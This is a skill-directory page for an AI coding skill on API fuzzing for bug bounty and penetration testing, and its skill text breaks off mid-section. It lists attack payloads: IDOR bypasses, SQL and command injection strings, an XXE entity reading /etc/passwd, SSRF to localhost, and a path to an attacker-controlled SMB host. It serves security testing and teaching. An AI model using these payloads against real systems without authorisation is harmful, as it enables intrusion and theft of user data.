Z
zebbern
@mayurrathi
⭐ 40.7k GitHub stars

Api Fuzzing Bug Bounty

Api Fuzzing Bug Bounty is an code AI skill with a core value of This skill should be used when the user asks to \"test API security\", \"fuzz APIs\", \"find IDOR vulnerabilities\", \"test REST API\", \"test GraphQL\", \"API penetration testing\", \"bug b. It helps developers solve real-world problems in the code domain, boosting efficiency, automating repetitive tasks, and optimizing workflows.

This skill should be used when the user asks to \"test API security\", \"fuzz APIs\", \"find IDOR vulnerabilities\", \"test REST API\", \"test GraphQL\", \"API penetration testing\", \"bug b...

Last verified on: 2026-07-07

Quick Facts

Category code
Works With Claude
Source sickn33/antigravity-awesome-skills
Stars ⭐ 40.7k
Last Verified 2026-07-07
Risk Level Low
mkdir -p ./skills/api-fuzzing-bug-bounty && curl -sfL https://raw.githubusercontent.com/sickn33/antigravity-awesome-skills/main/skills/api-fuzzing-bug-bounty/SKILL.md -o ./skills/api-fuzzing-bug-bounty/SKILL.md

Run in terminal / PowerShell. Requires curl (Unix) or PowerShell 5+ (Windows).

Skill Content

# API Fuzzing for Bug Bounty


Purpose


Provide comprehensive techniques for testing REST, SOAP, and GraphQL APIs during bug bounty hunting and penetration testing engagements. Covers vulnerability discovery, authentication bypass, IDOR exploitation, and API-specific attack vectors.


Inputs/Prerequisites


- Burp Suite or similar proxy tool

- API wordlists (SecLists, api_wordlist)

- Understanding of REST/GraphQL/SOAP protocols

- Python for scripting

- Target API endpoints and documentation (if available)


Outputs/Deliverables


- Identified API vulnerabilities

- IDOR exploitation proofs

- Authentication bypass techniques

- SQL injection points

- Unauthorized data access documentation


---


API Types Overview


| Type | Protocol | Data Format | Structure |

|------|----------|-------------|-----------|

| SOAP | HTTP | XML | Header + Body |

| REST | HTTP | JSON/XML/URL | Defined endpoints |

| GraphQL | HTTP | Custom Query | Single endpoint |


---


Core Workflow


Step 1: API Reconnaissance


Identify API type and enumerate endpoints:


bash 
# Check for Swagger/OpenAPI documentation
/swagger.json
/openapi.json
/api-docs
/v1/api-docs
/swagger-ui.html

# Use Kiterunner for API discovery
kr scan https://target.com -w routes-large.kite

# Extract paths from Swagger
python3 json2paths.py swagger.json

Step 2: Authentication Testing


bash 
# Test different login paths
/api/mobile/login
/api/v3/login
/api/magic_link
/api/admin/login

# Check rate limiting on auth endpoints
# If no rate limit → brute force possible

# Test mobile vs web API separately
# Don't assume same security controls

Step 3: IDOR Testing


Insecure Direct Object Reference is the most common API vulnerability:


bash 
# Basic IDOR
GET /api/users/1234 → GET /api/users/1235

# Even if ID is email-based, try numeric
/?user_id=111 instead of /?user_id=user@mail.com

# Test /me/orders vs /user/654321/orders

**IDOR Bypass Techniques:**


bash 
# Wrap ID in array
{"id":111} → {"id":[111]}

# JSON wrap
{"id":111} → {"id":{"id":111}}

# Send ID twice
URL?id=<LEGIT>&id=<VICTIM>

# Wildcard injection
{"user_id":"*"}

# Parameter pollution
/api/get_profile?user_id=<victim>&user_id=<legit>
{"user_id":<legit_id>,"user_id":<victim_id>}

Step 4: Injection Testing


**SQL Injection in JSON:**


json 
{"id":"56456"}                    → OK
{"id":"56456 AND 1=1#"}           → OK  
{"id":"56456 AND 1=2#"}           → OK
{"id":"56456 AND 1=3#"}           → ERROR (vulnerable!)
{"id":"56456 AND sleep(15)#"}     → SLEEP 15 SEC

**Command Injection:**


bash 
# Ruby on Rails
?url=Kernel#open → ?url=|ls

# Linux command injection
api.url.com/endpoint?name=file.txt;ls%20/

**XXE Injection:**


xml 
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>

**SSRF via API:**


html 
<object data="http://127.0.0.1:8443"/>
<img src="http://127.0.0.1:445"/>

**.NET Path.Combine Vulnerability:**


bash 
# If .NET app uses Path.Combine(path_1, path_2)
# Test for path traversal
https://example.org/download?filename=a.png
https://example.org/download?filename=C:\inetpub\wwwroot\web.config
https://example.org/download?filename=\\smb.dns.attacker.com\a.png

Step 5: Method Testing


bash 
# Test all HTTP methods
GET /api/v1/users/1
POST /api/v1/users/1
PUT /api/v1/users/1
DELETE /api/v1/users/1
PATCH /api/v1/users/1

# Switch content type
Content-Type: application/json → application/xml

---


GraphQL-Specific Testing


Introspection Query


Fetch entire backend schema:


graphql 
{__schema{queryType{name},mutationType{name},types{kind,name,description,fields(includeDeprecated:true){name,args{name,type{name,kind}}}}}}

**URL-encoded version:**


text 
/graphql?query={__schema{types{name,kind,description,fields{name}}}}

GraphQL IDOR


graphql 
# Try accessing other user IDs
query {
  user(id: "OTHER_USER_ID") {
    email
    password
    creditCard
  }
}

GraphQL SQL/NoSQL Injection


graphql 
muta

🎯 Best For

  • Security auditors
  • DevSecOps teams
  • Compliance officers
  • QA engineers
  • Developers writing unit tests

💡 Use Cases

  • Auditing dependencies for known CVEs
  • Scanning API endpoints for auth gaps
  • Generating test cases for edge conditions
  • Writing integration test suites

📖 How to Use This Skill

  1. 1

    Install the Skill

    Copy the install command from the Terminal tab and run it. The SKILL.md file downloads to your local skills directory.

  2. 2

    Load into Your AI Assistant

    Open Claude and reference the skill. Paste the SKILL.md content or use the system prompt tab.

  3. 3

    Apply Api Fuzzing Bug Bounty to Your Work

    Open your project in the AI assistant and ask it to apply the skill. Start with a small module to verify the output quality.

  4. 4

    Review and Refine

    Review AI suggestions before committing. Run tests, check for regressions, and iterate on the skill output.

❓ Frequently Asked Questions

Can this replace a dedicated SAST tool?

AI-based security review is complementary to SAST tools. Use it as a first-pass filter, not a replacement.

Does this generate test mocks?

Many testing skills include mock generation. Check the install command and skill content for details.

Is Api Fuzzing Bug Bounty compatible with Cursor and VS Code?

Yes — this skill works with any AI coding assistant including Cursor, VS Code with Copilot, and JetBrains IDEs.

Do I need specific dependencies for Api Fuzzing Bug Bounty?

Check the install command and Works With section. Most code skills only require the AI assistant and your codebase.

How do I install Api Fuzzing Bug Bounty?

Copy the install command from the Terminal tab and run it. The skill downloads to ./skills/api-fuzzing-bug-bounty/SKILL.md, ready to use.

⚠️ Common Mistakes to Avoid

Only scanning surface-level issues

Deep security review requires understanding your app architecture, not just regex patterns.

Not testing edge cases

AI tends to generate happy-path tests. Manually review for boundary conditions.

Skipping validation

Always test AI-generated code changes, even for simple refactors.

Missing dependency updates

Check if the skill requires updated dependencies or new packages.

🔗 Related Skills

api-security-testing Api Security Testingaws-penetration-testing Aws Penetration Testingbroken-authentication Broken Authenticationburp-suite-testing Burp Suite Testingcloud-penetration-testing Cloud Penetration Testingethical-hacking-methodology Ethical Hacking Methodology